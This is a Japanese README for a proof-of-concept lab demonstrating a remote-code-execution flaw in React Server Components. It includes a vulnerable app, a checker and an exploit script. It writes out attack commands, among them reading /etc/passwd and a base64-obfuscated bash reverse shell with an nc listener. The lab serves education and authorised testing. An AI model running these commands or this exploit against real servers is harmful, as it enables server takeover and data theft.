
CVE-2025-55182 React2Shell PoC ラボ
React Server Components における重大な脆弱性 CVE-2025-55182 を実演・テストするための包括的なラボです。
このリポジトリは以下の用途を意図しています:
所有していない、または明示的なテスト許可がないシステムに対して使用しないでください。不正アクセスは違法です。
✅ 認証なしで任意のコマンドを実行
✅ システムファイルの読み取り
✅ ファイルの作成と変更
✅ リバースシェル接続の確立
✅ サーバーの完全制御を達成
npm install --legacy-peer-deps
npm run dev
サーバーは http://localhost:3000 で起動します。
bash check-cve.sh
cd exploit
python3 rce_final.py "whoami"
python3 rce_final.py "id > /tmp/id.txt &"
python3 rce_final.py "cat /etc/passwd > /tmp/passwd.txt &"
# Terminal 1 - Listener
nc -lvnp 4444
# Terminal 2 - Exploit
python3 rce_final.py "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx | base64 -d | bash &"
├── app/ # Vulnerable Next.js application
├── exploit/ # Working PoC exploit
│ └── rce_final.py # Main exploit script
├── check-cve.sh # Automated vulnerability checker
├── package.json # Vulnerable dependencies
└── README.md
この脆弱性は、React Server Components のペイロードのデシリアライゼーションロジックに存在します。このエクスプロイトはプロトタイプ汚染を利用して、process.mainModule.require('child_process').execSync() を介して任意のコードを実行します。
このコードは教育および許可されたセキュリティテストの目的のみで提供されます。ユーザーは、システムをテストする前に適切な許可を得ていることを確認する責任があります。コンピュータシステムへの不正アクセスは、米国コンピュータ詐欺及び不正使用防止法 (CFAA) やその他の管轄区域の類似法規の下で違法です。
著者は、この情報の誤用に対する一切の責任を負いません。
このラボを学習した後、以下のことを理解できるようになります: